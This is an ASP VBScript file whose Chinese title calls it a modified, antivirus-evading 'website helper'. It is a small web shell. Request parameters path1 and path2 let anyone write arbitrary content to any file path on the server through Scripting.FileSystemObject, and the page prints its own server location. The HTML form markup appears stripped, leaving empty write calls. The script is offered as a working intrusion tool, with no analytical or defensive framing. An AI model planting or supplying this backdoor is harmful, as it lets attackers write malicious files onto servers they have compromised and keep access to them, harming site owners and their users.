旁注-网站小助手旭方修改免杀asp版

<%@LANGUAGE="VBScript" CODEPAGE="936"%>

<% dim FSO %>
<% dim Data %>
<% dim MyFile %>
<% on error resume next %>
<% Set FSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("path1"))<>"" then %>
<% Data = request("path2") %>
<% Set MyFile=FSO.CreateTextFile(request("path1"),True) %>
<% MyFile.Write Data %>
<% if err =0 then %>
<% response.write "成功啦! :)" %>
<% else %>
<% response.write "失败啦! :(" %>
<% end if %>
<% err.clear %>
<% end if %>
<% MyFile.Close %>
<% Set MyFile=Nothing %>
<% Set FSO = Nothing %>
<% Response.write "" %>

 




 
<% Response.write "本文件在服务器上的方位:" %>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>


<% Response.write "" %>
 


输入路径：<% Response.Write "" %>




<% Response.write "输入内容：" %>
<% Response.write "" %>




<% Response.write "" %>